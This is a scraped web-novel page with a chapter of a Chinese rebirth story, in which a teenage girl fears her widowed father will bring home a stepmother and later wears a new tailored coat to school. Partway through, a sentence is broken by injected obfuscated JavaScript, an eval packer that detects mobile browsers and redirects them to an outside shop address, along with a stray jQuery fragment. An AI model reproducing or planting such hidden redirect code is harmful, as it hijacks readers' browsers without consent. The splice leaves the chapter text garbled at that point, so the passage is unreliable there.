默认冷灰
24号文字
方正启体

18. 【后妈】

作者:今夕何如本书字数:K更新时间:
    听到樊阿姨的话,程守萍吃惊不小,怎么回事,上一世的时候爸爸始终没有另找一个,哪怕是在宏志结婚后,他也没有提过找老伴的事啊?


    转念一想,上一世爸爸手残疾了,又带了两个子女,转岗后工资少了许多,虽然有工伤补助,还是比不上原先的水平,家里经济不宽裕,就算想找也很难找到愿意和他结婚的女人。


    可这一世情况变了,爸爸的双手完好健全,作为五级钳工,在车间里是颇受尊敬的高级技工,还受过全厂表彰,正准备去考六级钳工。


    虽然二婚带着两个子女是扣分项,但他如今年纪并不大。三十三岁的男人正当壮年,身高一米七八,体格结实,城市户籍,大厂工人铁饭碗,外加朴实善良又顾家。


    咝——


    在眼前这个年代,怎么看都是相亲市场上颇受欢迎的黄金王老五啊!


    她忍不住又往下走了一层半楼梯,想听清楚爸爸是怎么回答的,却听见他说:“……我回去了。”随即便是他向楼梯走来的脚步声。


    她只好退回楼上,进屋后摊开英语书,假装读着单词。


    不一会儿程根生就回来了,回身关上门,他似乎想起什么似的,从日常随身带的尼龙袋里拿出一个纸包打开,伴着一阵浓郁的焦糖香气,露出一枚烤红薯。


    一掰两半,金黄色的薯肉冒出热气。程根生把粗的那头给了女儿。


    程守萍捧着热烘烘的烤红薯暖手,一边偷偷打量他。


    也许是过去那个因残疾而失意的爸爸,因生活沧桑过早衰老的爸爸,在她记忆中的印象过于深刻,她始终下意识地觉得爸爸已经是个中老年人了。


    这会儿仔仔细细地看,才发现爸爸的皮肤虽然略显粗糙黝黑,但脸上没什么皱纹或疤痕斑痣,浓密的眉毛,有神的双眸,高挺的鼻梁,居然还挺英俊的呢。


    她假装随意地问道:“爸爸,樊阿姨和你说什么了啊?”


    程根生愣了愣,没说话,隔了半晌才道:“没说什么。”接着就催促她,“快趁热吃。时候不早了,再念一会书就该去睡觉了。”


    强行转移话题,明显有问题。


    程守萍低头慢慢啃着烤红薯,突然之间意识到爸爸可能会给她和弟弟找个后妈,确实有点难以接受。


    但凡不是自己家的事,她也能轻松地说出类似“妻子过世两年了才找,这男人已经很不错了。”、“单身男人带两个小囡确实是辛苦,他再找一个也是为了能更好地照顾小囡。”这样的话。


    可这事轮到自己头上就完全不同了。


    万一这新来的后妈表面一套背地里一套,用家里的钱物去接济自己亲生的孩子怎么办?万一她用温柔小意俘获了爸爸的心,然后用各种冠冕堂皇的名义克扣自己和弟弟的吃用怎么办?


    眼下虽然说不会再生,但如果爸爸的心偏向了她,被她哄着同意了再生一个小囡怎么办?计划生育虽然已经开始推行,这一两年还没有那么严格地执行,甚至有不少夫妻赶在正式执行之前抢跑怀上孩子。


    如果有了新的孩子,爸爸变得对自己和弟弟毫不在意怎么办?


    她想了一堆怎么办,越想越是忧心忡忡,连烤红薯都忘了吃。


    程根生看了会儿书,抬头见女儿愣愣出神,那对秀气挺拔的眉头皱了起来,烤红薯也没吃几口,不由诧异:“萍萍,怎么了?是有题不会做?还是学校里出什么事了?”


    程守萍回神看向爸爸,笑了笑:“是有道题,挺难解的。”


    烤红薯已经不香了,她重新包起来,打算当第二天早饭吃。英语也读不进去,她索性合上书,先重新冲个热水袋放被窝里暖着,随后刷牙洗脸。


    洗漱后她回了房间,拧开台灯,轻手轻脚地整理书包。书桌靠床的那侧,加钉了一块高高的木板,可以挡住台灯的光,不会影响到宏宏睡觉。


    宏宏睡得特别香甜,从她进屋后就一动没动过,小脸睡得红扑扑的,红润的小嘴微微张开,一整只胳膊都露在外面。


    程守萍把他的小手放回被窝里,再摸摸被子里面,发现热水袋早被他踢到被窝一角,已经凉透了。


    她替他重新盖好被子,把凉的热水袋拿出去,换上新烧的开水,回房再替爸爸把被子铺好,放进热水袋捂着。


    钻进被窝的时候她还在想这件事,不管怎样,先要确定爸爸的想法,知道了他是怎么想的,才能有下一步对策。


    但她不知道,如果爸爸真的想再娶,她该不该强烈反对呢,万一后妈人不错呢?爸爸一个人也是挺苦的。但如果碰上了不好的后妈,苦的就是她和弟弟了……


    闹钟准时响起。


    程守萍睁开眼才发现已经早上了。自己想着想着,不知什么时候就睡着了。


    她一把按停小闹钟,看了看弟弟,没动。另外一边的小床上,爸爸翻了个身。


    这是她为晨跑设的闹钟,特地用碎布做了两个小小的套子,夹层里填上旧棉花,临睡前把铃帽包裹住,抽绳系紧,这样敲起闹铃来声音就是闷闷的,放在她枕边能唤醒她,但不会吵醒同屋的爸爸和弟弟。


    她起身穿衣,把铃帽上的套子拿走,闹钟重新设定成爸爸和弟弟起床的时间。


    穿上校服,戴上手套,她出门晨跑。


    晨跑让她的思路变得清晰起来,首先第一步就是确定爸爸的想法,如果爸爸真的有想法再找,她就要积极参与进去,这个后妈她是一定要把关的。


    回到家,她快速擦洗了一下,换身干净的棉毛衫裤,把换下来的衣服放点水泡起来。走出卫生间的时候,爸爸已经起床,喊着宏宏让他赶紧起来穿衣服。


    宏宏已经会自己穿衣服了,不过冬天的衣服比较难穿,尤其是绒线衫的领子织得比较高,也比较紧窄,卡在他头上拉不下来,他在绒线衫里什么都看不见,急得大喊:“爸爸,爸爸!”


    程根生过来帮他把衣领往下拽,好不容易他才把小脑袋钻出来,头发乱糟糟的,小脸也是红通通的。


    接着穿绒线裤也是不容易,裤子为了保暖织得紧,一往上拉就要连里面的棉毛裤一起拉上去了。程根生先替他穿上袜子,把棉毛裤下端包在袜子里,靠着袜子的摩擦力拉住棉毛裤,不让它往上缩。


    宏宏使劲蹬着小脚丫,把绒线裤拉到大腿上就拉不动了,程根生替他把余下的裤子都推上去,把小家伙抱下床,提溜着裤腰往上拎。


    宏宏整个人都给拽离地了,抓着爸爸的胳膊“咯咯”直笑。


    程根生也不由得笑,继续提溜着儿子轻轻颠几下,直到绒线裤都拉上来了,才把他放回床上,让他自己穿上外裤。鞋子宏宏也会自己穿,到这步就不用程根生帮什么忙。


    他走到外间,程守萍正把昨晚剩下的烤红薯放锅里,加少量水用小火烤热,同时在另一边的灶头上下面条,煮的差不多了再把昨晚从食堂带回来的剩菜倒进去一起加热。


    程根生看着这简陋的早饭,忽然有点心酸,女儿带去学校的午饭也是昨晚在食堂买的。一天两顿吃的都是隔夜菜,只有晚饭一顿是在食堂现买的。


    要是有妈妈在,她至少能吃到当天现做的新鲜饭菜。也能花更多心思与时间在学习上,而不是花在这些家务上。


    他现在还能带着宏宏去厂里食堂吃早饭、晚饭,等宏宏开始上学,就也要在家里吃早饭了,午饭也得像姐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061818|195018||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姐一样在学校吃隔夜的饭菜。


    他轻咳一声:“萍萍。”


    程守萍刚把煮面的火关了,闻声转头看向爸爸。当看到他脸上郑重的神色,她不由心头一跳,要来了吗?


    程根生被她的双眼一望,一时之间不知道该怎么去开这个口问她,尤其是她眼中的神色,让他莫名心虚起来,感觉就不该在这时候提这个事。


    他又咳嗽一声,说:“以后每个月给你一块零花钱好不好?”


    程守萍:“……”


    是为了说服她找后妈,先用零花钱收买她?


    “爸爸,你怎么会突然想到给我零花钱?”她往桌上放了个隔热的锅垫,然后端着煮面的小铝锅放上去。“家里不是要存钱还债吗?”


    “那个……债都还得差不多了。你也长大了,爸爸觉得你应该有点零花钱了。”说完程根生从口袋里摸出纸币,抽出几张毛票,凑成一元放在桌上,“这个月的给你,以后每个月的零花钱,爸爸发工资了就给你。”


    说完也不等她再说什么,走到水斗边放水,挤牙膏。


    “谢谢爸爸。”


    程根生含着牙刷,模模糊糊地“嗯”了一声。


    程守萍夹起一筷子面条吹凉,左手把毛票对折放进裤袋。看爸爸这样子,找后妈这事儿应该还是会和她商量的,早晨匆匆忙忙的,也确实不是摊开来谈这种事的时机,那就等他先开这口吧。


    -


    这星期北方有寒流过来,程家姐弟都穿上了新棉衣。


    樊阿姨推荐的老裁缝,手艺果然是没话讲,品味也是很独到。


    棉衣是收腰的短款军大衣式样,长度到膝盖上方一点。大翻领,肩膀上有类似肩章的装饰,腰线的位置甚至还做了假腰带。穿起来非但不觉臃肿,还显得整个人都拔高了,特别有精神。


    这款式再加上用的是浅褐色的细灯芯绒面料,格外洋气,说是商场里买的新大衣都有人信。


    围上末端带着雪花图案的钴蓝色围巾,程守萍用指尖理了理过耳的短发,镜子里的少女双眸明澈,清丽可人。


    宏宏的棉衣也是同款同面料,但选了墨绿色,也比姐姐的更长些,看上去就更像军大衣了。


    试衣的时候,他对着镜子里的小小身影,一本正经地行了个军礼。逗得老裁缝都笑了起来。


    程守萍穿着新棉衣进教室的时候,引来了众人瞩目。


    她以往总是穿着洗旧的校服,似乎一年四季都是那一身,今天突然穿成这样就打眼得很。


    也是因为她进教室时,脸上带着自然的微笑,双眸里有光彩,与同学们印象里那个冷漠疏离,总是低着头匆匆来去的少女截然不同。


    她刚在座位上坐下,蔡琳玲就急不可耐地问她:“新买的衣服?在哪儿买的?怎么那么好看啊!”


    程守萍摘下手套放进书包,拿出课本与铅笔盒:“不是买的,找裁缝做的。”


    “啊!裁缝做得衣服不都是老土老土的吗?”蔡琳玲大感意外,艳羡的目光在程守萍的衣服上流连,“真的是好看,我也想做这样的。”


    有好几个坐前排的男同学偷偷回头打量程守萍,做贼似的瞄一眼,赶紧把眼睛转开,隔了没多久又偷偷瞄一眼。


    蔡琳玲侧头盯着程守萍看了半天,忽然说:“我觉得你最近变好看了。”


    “是吗?”程守萍摸了摸脸,可能最近坚持运动的关系,胃口变好了,吃得比以前多,脸颊渐渐丰润,不再干瘪瘪的,气色也好了许多。


    “是真的,我也说不清楚,但就是觉得比以前好看很多。”


    蔡琳玲拍了拍前排两人的肩膀:“喂,你们说呢?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)